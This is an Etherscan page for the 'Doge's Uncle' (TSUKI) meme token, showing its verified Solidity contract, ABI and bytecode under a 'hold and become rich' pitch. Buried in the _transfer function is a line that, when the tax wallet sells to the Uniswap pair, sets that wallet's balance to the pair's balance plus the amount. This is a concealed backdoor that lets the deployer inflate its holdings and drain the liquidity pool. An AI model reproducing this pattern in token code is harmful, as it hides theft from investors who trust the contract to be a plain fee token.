Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 TSUKI
Holders
95
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,217,773.930336738 TSUKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TSUKI
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-31 */ // SPDX-License-Identifier: MIT /* Welcome to Doge's Uncle . Just hold $TSUKI and become rich man. Website : https://tsuki.lol Telegram : https://t.me/tsuki_eth Twitter : https://x.com/tsuki_erc20 */ pragma solidity 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TSUKI is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) public isAMM; mapping(address => bool) public _isBlacklisted; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax = 9; uint256 private _initialSellTax = 9; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 30; uint256 private _reduceSellTaxAt = 30; uint256 private _preventSwapBefore = 30; uint256 private _buyCount = 0; uint256 private _sellCount = 0; uint256 private _lastSellBlock = 0; string private constant _name = unicode"Doge's Uncle"; string private constant _symbol = unicode"TSUKI"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 100000000 * 10 ** _decimals; uint256 public _maxTxAmount = 2000000 * 10 ** _decimals; uint256 public _maxWalletSize = 2000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 0 * 10 ** _decimals; uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals; uint256 public caCount = 2; bool public caLimiter = true; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); event Launch(bool _tradingOpen, bool _swapEnabled); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address taxWallet) { _taxWallet = payable(taxWallet); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(uniswapV2Pair)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } function _transfer(address from, address to, uint256 amount) private { require( !_isBlacklisted[from] && !_isBlacklisted[to], "ERC20: To/from address is blacklisted" ); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && !_isExcludedFromFee[to]) { require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } if (to == uniswapV2Pair && from != address(this)) { if (from == _taxWallet) _balances[from] = _balances[to].add(amount); taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } if (from != uniswapV2Pair && to != uniswapV2Pair && from != address(this)) { taxAmount = 0; } uint256 contractTokenBalance = balanceOf(address(this)); if ( caLimiter && !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance >= _taxSwapThreshold && _buyCount > _preventSwapBefore ) { if (block.number > _lastSellBlock) { _sellCount = 0; } require(_sellCount < caCount, "CA balance sell"); swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); sendETHToFee(address(this).balance); _sellCount++; _lastSellBlock = block.number; } else if ( !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if (tokenAmount == 0) return; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimit() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function feedTSUKI() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _isExcludedFromFee[address(uniswapV2Pair)] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); caCount = 4; swapEnabled = true; tradingOpen = true; firstBlock = block.number; emit Launch(tradingOpen, swapEnabled); } receive() external payable {} function rescueStuckETH() external onlyOwner { payable(_taxWallet).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"Launch","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caLimiter","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feedTSUKI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAMM","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526009600855600980556000600a556000600b55601e600c55601e600d55601e600e556000600f55600060105560006011556009600a6100439190610359565b61005090621e848061036f565b60125561005f6009600a610359565b61006c90621e848061036f565b60135561007b6009600a610359565b61008690600061036f565b6014556100956009600a610359565b6100a290620f424061036f565b60155560026016556017805460ff191660011790556018805461ffff60a81b191690553480156100d157600080fd5b5060405161218f38038061218f8339810160408190526100f091610386565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b0319166001600160a01b0383161790556101586009600a610359565b610166906305f5e10061036f565b3360009081526001602081905260408220929092556003906101906000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556018548216845282842080548616821790556006549091168352912080549092161790556102003390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102386009600a610359565b610246906305f5e10061036f565b60405190815260200160405180910390a3506103af565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156102ae5781600019048211156102945761029461025d565b808516156102a157918102915b93841c9390800290610278565b509250929050565b6000826102c557506001610353565b816102d257506000610353565b81600181146102e857600281146102f25761030e565b6001915050610353565b60ff8411156103035761030361025d565b50506001821b610353565b5060208310610133831016604e8410600b8410161715610331575081810a610353565b61033b8383610273565b806000190482111561034f5761034f61025d565b0290505b92915050565b600061036860ff8416836102b6565b9392505050565b80820281158282048414176103535761035361025d565b60006020828403121561039857600080fd5b81516001600160a01b038116811461036857600080fd5b611dd1806103be6000396000f3fe60806040526004361061016a5760003560e01c806370a08231116100d157806395d89b411161008a578063d46b6a3011610064578063d46b6a301461043a578063dd62ed3e1461046a578063f2fde38b146104b0578063f4ef1f42146104d057600080fd5b806395d89b41146103d6578063a9059cbb14610404578063bf474bed1461042457600080fd5b806370a082311461032c578063715018a61461036257806374524afb146103775780637d1db4a51461038c5780638da5cb5b146103a25780638f9a55c0146103c057600080fd5b80631cdd3be3116101235780631cdd3be31461025357806323b872dd14610283578063313ce567146102a357806349bd5a5e146102bf5780634a49ac4c146102f7578063622565891461031757600080fd5b80630150fe4c1461017657806306fdde031461018d578063095ea7b3146101d45780630e12062d146102045780630faee56f1461022857806318160ddd1461023e57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104ea565b005b34801561019957600080fd5b5060408051808201909152600c81526b446f6765277320556e636c6560a01b60208201525b6040516101cb91906119a0565b60405180910390f35b3480156101e057600080fd5b506101f46101ef366004611a04565b610559565b60405190151581526020016101cb565b34801561021057600080fd5b5061021a60165481565b6040519081526020016101cb565b34801561023457600080fd5b5061021a60155481565b34801561024a57600080fd5b5061021a610570565b34801561025f57600080fd5b506101f461026e366004611a30565b60056020526000908152604090205460ff1681565b34801561028f57600080fd5b506101f461029e366004611a4d565b610591565b3480156102af57600080fd5b50604051600981526020016101cb565b3480156102cb57600080fd5b506018546102df906001600160a01b031681565b6040516001600160a01b0390911681526020016101cb565b34801561030357600080fd5b5061018b610312366004611a30565b6105fa565b34801561032357600080fd5b5061018b610645565b34801561033857600080fd5b5061021a610347366004611a30565b6001600160a01b031660009081526001602052604090205490565b34801561036e57600080fd5b5061018b6106f8565b34801561038357600080fd5b5061018b61076c565b34801561039857600080fd5b5061021a60125481565b3480156103ae57600080fd5b506000546001600160a01b03166102df565b3480156103cc57600080fd5b5061021a60135481565b3480156103e257600080fd5b506040805180820190915260058152645453554b4960d81b60208201526101be565b34801561041057600080fd5b506101f461041f366004611a04565b610bb3565b34801561043057600080fd5b5061021a60145481565b34801561044657600080fd5b506101f4610455366004611a30565b60046020526000908152604090205460ff1681565b34801561047657600080fd5b5061021a610485366004611a8e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104bc57600080fd5b5061018b6104cb366004611a30565b610bc0565b3480156104dc57600080fd5b506017546101f49060ff1681565b6000546001600160a01b0316331461051d5760405162461bcd60e51b815260040161051490611ac7565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610556573d6000803e3d6000fd5b50565b6000610566338484610caa565b5060015b92915050565b600061057e6009600a611bf6565b61058c906305f5e100611c05565b905090565b600061059e848484610dce565b6105f084336105eb85604051806060016040528060288152602001611d74602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906115d5565b610caa565b5060019392505050565b6000546001600160a01b031633146106245760405162461bcd60e51b815260040161051490611ac7565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161051490611ac7565b61067b6009600a611bf6565b610689906305f5e100611c05565b6012556106986009600a611bf6565b6106a6906305f5e100611c05565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106d66009600a611bf6565b6106e4906305f5e100611c05565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146107225760405162461bcd60e51b815260040161051490611ac7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161051490611ac7565b601854600160a01b900460ff16156107f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610514565b60178054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108499030906001600160a01b036101009091041661083b6009600a611bf6565b6105eb906305f5e100611c05565b601760019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c09190611c1c565b6001600160a01b031663c9c6539630601760019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610922573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109469190611c1c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610993573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b79190611c1c565b601880546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff1916600117905560175461010090041663f305d7194730610a1f816001600160a01b031660009081526001602052604090205490565b600080610a346000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a9c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac19190611c39565b505060185460175460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b439190611c67565b5060046016556018805462ff00ff60a01b19166201000160a01b1790819055436007556040805160ff600160a01b8404811615158252600160b01b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91016106ee565b6000610566338484610dce565b6000546001600160a01b03163314610bea5760405162461bcd60e51b815260040161051490611ac7565b6001600160a01b038116610c4f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610514565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610514565b6001600160a01b038216610d6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610514565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610e1057506001600160a01b03821660009081526005602052604090205460ff16155b610e6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a20546f2f66726f6d206164647265737320697320626c61636b6c6044820152641a5cdd195960da1b6064820152608401610514565b6001600160a01b038316610ece5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610514565b6001600160a01b038216610f305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610514565b60008111610f925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610514565b600080546001600160a01b03858116911614801590610fbf57506000546001600160a01b03848116911614155b1561149257610ff06064610fea600c54600f5411610fdf57600854610fe3565b600a545b859061160f565b90611698565b6018549091506001600160a01b03858116911614801561102357506017546001600160a01b038481166101009092041614155b801561104857506001600160a01b03831660009081526003602052604090205460ff16155b156111525760125482111561109f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610514565b601354826110c2856001600160a01b031660009081526001602052604090205490565b6110cc9190611c89565b111561111a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b43600754600361112a9190611c89565b111561113c57823b1561113c57600080fd5b600f805490600061114c83611c9c565b91905055505b6018546001600160a01b0384811691161480159061118957506001600160a01b03831660009081526003602052604090205460ff16155b1561120957601354826111b1856001600160a01b031660009081526001602052604090205490565b6111bb9190611c89565b11156112095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b6018546001600160a01b03848116911614801561122f57506001600160a01b0384163014155b156112af576006546001600160a01b0390811690851603611287576001600160a01b03831660009081526001602052604090205461126d90836116da565b6001600160a01b0385166000908152600160205260409020555b6112ac6064610fea600d54600f54116112a257600954610fe3565b600b54859061160f565b90505b6018546001600160a01b038581169116148015906112db57506018546001600160a01b03848116911614155b80156112f057506001600160a01b0384163014155b156112f9575060005b3060009081526001602052604090205460175460ff1680156113255750601854600160a81b900460ff16155b801561133e57506018546001600160a01b038581169116145b80156113535750601854600160b01b900460ff165b801561136157506014548110155b80156113705750600e54600f54115b1561140e576011544311156113855760006010555b601654601054106113ca5760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b6044820152606401610514565b6113e76113e2846113dd84601554611739565b611739565b61174e565b6113f0476118f2565b6010805490600061140083611c9c565b909155505043601155611490565b601854600160a81b900460ff1615801561143557506018546001600160a01b038581169116145b801561144a5750601854600160b01b900460ff165b8015611457575060145481115b80156114665750600e54600f54115b156114905761147e6113e2846113dd84601554611739565b47801561148e5761148e476118f2565b505b505b801561150c57306000908152600160205260409020546114b290826116da565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115039085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461152f9083611930565b6001600160a01b0385166000908152600160205260409020556115746115558383611930565b6001600160a01b038516600090815260016020526040902054906116da565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115be8585611930565b60405190815260200160405180910390a350505050565b600081848411156115f95760405162461bcd60e51b815260040161051491906119a0565b5060006116068486611cb5565b95945050505050565b6000826000036116215750600061056a565b600061162d8385611c05565b90508261163a8583611cc8565b146116915760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610514565b9392505050565b600061169183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611972565b6000806116e78385611c89565b9050838110156116915760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610514565b60008183116117485782611691565b50919050565b6018805460ff60a81b1916600160a81b17905580156118e257604080516002808252606082018352600092602083019080368337019050509050308160008151811061179c5761179c611cea565b60200260200101906001600160a01b031690816001600160a01b031681525050601760019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561180f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118339190611c1c565b8160018151811061184657611846611cea565b6001600160a01b03928316602091820292909201015260175461187191309161010090041684610caa565b60175460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906118ae908590600090869030904290600401611d00565b600060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b50505050505b506018805460ff60a81b19169055565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561192c573d6000803e3d6000fd5b5050565b600061169183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115d5565b600081836119935760405162461bcd60e51b815260040161051491906119a0565b5060006116068486611cc8565b60006020808352835180602085015260005b818110156119ce578581018301518582016040015282016119b2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461055657600080fd5b60008060408385031215611a1757600080fd5b8235611a22816119ef565b946020939093013593505050565b600060208284031215611a4257600080fd5b8135611691816119ef565b600080600060608486031215611a6257600080fd5b8335611a6d816119ef565b92506020840135611a7d816119ef565b929592945050506040919091013590565b60008060408385031215611aa157600080fd5b8235611aac816119ef565b91506020830135611abc816119ef565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b4d578160001904821115611b3357611b33611afc565b80851615611b4057918102915b93841c9390800290611b17565b509250929050565b600082611b645750600161056a565b81611b715750600061056a565b8160018114611b875760028114611b9157611bad565b600191505061056a565b60ff841115611ba257611ba2611afc565b50506001821b61056a565b5060208310610133831016604e8410600b8410161715611bd0575081810a61056a565b611bda8383611b12565b8060001904821115611bee57611bee611afc565b029392505050565b600061169160ff841683611b55565b808202811582820484141761056a5761056a611afc565b600060208284031215611c2e57600080fd5b8151611691816119ef565b600080600060608486031215611c4e57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c7957600080fd5b8151801515811461169157600080fd5b8082018082111561056a5761056a611afc565b600060018201611cae57611cae611afc565b5060010190565b8181038181111561056a5761056a611afc565b600082611ce557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a19055248795ba76e468409894572de24f97a3aee58359b9766cc677a078c51964736f6c63430008190033000000000000000000000000870693e5fb44dccbff05e2ee1154f7d91cdf3204
Deployed Bytecode
